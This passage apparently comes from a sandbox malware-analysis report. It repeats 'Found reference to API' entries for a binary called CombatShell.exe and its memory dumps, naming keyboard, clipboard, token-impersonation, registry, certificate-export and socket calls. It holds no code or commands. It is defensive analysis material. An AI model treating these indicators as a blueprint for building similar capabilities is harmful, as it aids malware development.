\"CombatShell.exe\")","Found reference to API (Indicator: \"GetSystemTimePreciseAsFileTime\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFullPathNameW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FreeLibrary\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetFileInformationByHandle\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TlsSetValue\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DuplicateHandle\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ReadConsoleW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetModuleHandleExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SwitchToThread\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateFileMappingA\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"HeapReAlloc\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetLastError\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetSystemDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCurrentThread\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetHandleInformation\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetConsoleScreenBufferInfo\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateThread\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"InitializeProcThreadAttributeList\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateToolhelp32Snapshot\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RtlVirtualUnwind\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetModuleHandleA\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetProcessId\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TlsFree\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFileType\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetModuleFileNameW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LoadLibraryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"QueryPerformanceFrequency\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"MoveFileExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WideCharToMultiByte\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFileInformationByHandleEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetConsoleMode\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateIoCompletionPort\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ReadFileEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetCurrentDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"UpdateProcThreadAttribute\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"QueryPerformanceCounter\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateNamedPipeW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"PostQueuedCompletionStatus\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCurrentThreadId\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"UnmapViewOfFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetLastError\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateEventW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"HeapAlloc\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GlobalAlloc\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LockFileEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetFinalPathNameByHandleW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetWaitableTimer\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetWindowsDirectoryW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetNamedPipeInfo\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetConsoleCtrlHandler\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetEnvironmentStringsW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WaitForSingleObject\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DeleteFileW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"MultiByteToWideChar\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetConsoleTextAttribute\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetThreadErrorMode\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateSymbolicLinkW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetQueuedCompletionStatusEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CancelIoEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateProcessW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreatePipe\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCurrentProcess\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetFileAttributesW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ExitProcess\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"Module32FirstW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LoadLibraryA\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FindFirstFileExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GlobalUnlock\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FormatMessageW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WriteFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TerminateProcess\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"Module32NextW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FindNextFileW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetConsoleOutputCP\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetStdHandle\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ConnectNamedPipe\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RtlLookupFunctionEntry\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CompareStringOrdinal\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WriteFileEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TlsGetValue\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateFileW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetSystemInfo\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GlobalSize\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCommandLineW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateHardLinkW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RtlCaptureContext\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"NtCreateFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"NtDeviceIoControlFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"NtOpenFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"NtWriteFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RtlNtStatusToDosError\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"NtReadFile\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CoInitializeEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"OleInitialize\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CoCreateGuid\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CoCreateInstance\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CoUninitialize\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetErrorInfo\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SysAllocStringLen\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SafeArrayPutElement\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SysFreeString\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SysStringLen\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"AssocQueryStringW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetWindowPlacement\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TrackPopupMenu\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetCursorPos\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LoadCursorW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateWindowExW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetDC\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"OpenClipboard\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetWindowPlacement\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetRawInputData\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ReleaseDC\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CloseClipboard\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SendInput\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"TranslateMessage\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ShowWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetForegroundWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetKeyboardState\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetKeyState\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ClipCursor\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetWindowRect\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetSystemMetrics\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetAsyncKeyState\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DispatchMessageW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ToUnicodeEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetMenu\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetClipCursor\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetCursorPos\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RedrawWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateIcon\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetClientRect\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"EmptyClipboard\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DestroyIcon\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ScreenToClient\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ReleaseCapture\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RegisterWindowMessageA\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CreateIconFromResourceEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetSystemMenu\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"IsIconic\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"PeekMessageW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetWindowPos\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetWindowTextW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"RegisterRawInputDevices\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ClientToScreen\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DefWindowProcW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetClipboardData\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"EnableMenuItem\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"DestroyWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetWindowTextW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetForegroundWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetKeyboardLayout\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"AdjustWindowRectEx\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"MessageBoxW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SystemParametersInfoA\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetActiveWindow\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetClipboardData\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"LoadImageW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetMenuDefaultItem\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"CountClipboardFormats\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetCursor\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"GetWindowTextLengthW\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"KillTimer\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetCapture\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"SetTimer\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ShowCursor\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"getpeername\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WSACleanup\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WSAGetLastError\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"getsockname\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"getsockopt\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WSASend\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"recvfrom\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WSAStartup\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"closesocket\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"ioctlsocket\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"WSAIoctl\"; File: \"CombatShell.exe\")","Found reference to API (Indicator: \"FormatMessageW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetLastError\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"LoadLibraryExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetErrorInfo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetProcessHeap\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapAlloc\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"HeapFree\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SysAllocStringLen\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SysFreeString\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"SysStringLen\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"RtlAdjustPrivilege\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptAcquireContextW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptDestroyKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptImportKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptReleaseContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DuplicateToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetTokenInformation\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"GetUserNameW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"ImpersonateAnonymousToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"OpenProcessToken\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegCloseKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegCreateKeyExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegCreateKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegEnumKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegEnumValueW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegOpenKeyExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegQueryInfoKeyW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegQueryValueExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RegSetValueExA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"RevertToSelf\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CertAddCertificateContextToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertAddEncodedCTLToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertAddEncodedCertificateToStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertCloseStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertCreateCTLEntryFromCertificateContextProperties\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertCreateCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertDeleteCertificateFromStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertDuplicateCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertDuplicateCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertDuplicateStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertEnumCertificatesInStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertFreeCTLContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertFreeCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertFreeCertificateContext\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertGetCertificateChain\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertGetCertificateContextProperty\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertGetEnhancedKeyUsage\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertOpenStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertSetCertificateContextProperty\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertVerifyCertificateChainPolicy\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CertVerifyTimeValidity\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptAcquireCertificatePrivateKey\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptBinaryToStringA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptDecodeObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptEncodeObjectEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptHashCertificate\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptMsgEncodeAndSignCTL\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CryptStringToBinaryA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"PFXExportCertStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"PFXImportCertStore\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteDC\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteObject\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetDIBits\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetDeviceCaps\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"GetObjectW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"AddVectoredExceptionHandler\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"AreFileApisANSI\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CancelIo\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CancelIoEx\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CloseHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CompareStringOrdinal\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ConnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CopyFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateDirectoryW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateEventW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateFileA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateFileMappingA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateFileMappingW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateHardLinkW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateIoCompletionPort\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateMutexW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateNamedPipeW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreatePipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateProcessW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateSymbolicLinkW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateThread\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"CreateWaitableTimerExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteFileA\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DeleteProcThreadAttributeList\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DeviceIoControl\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DisconnectNamedPipe\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"DuplicateHandle\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"EnterCriticalSection\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"ExitProcess\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FileTimeToSystemTime\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp\")","Found reference to API (Indicator: \"FindClose\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FindFirstFileExW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FindNextFileW\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp\")","Found reference to API (Indicator: \"FlushFileBuffers\"; Source: \"00000000-00005644.00000001.288725.81353000.00000002.mdmp, 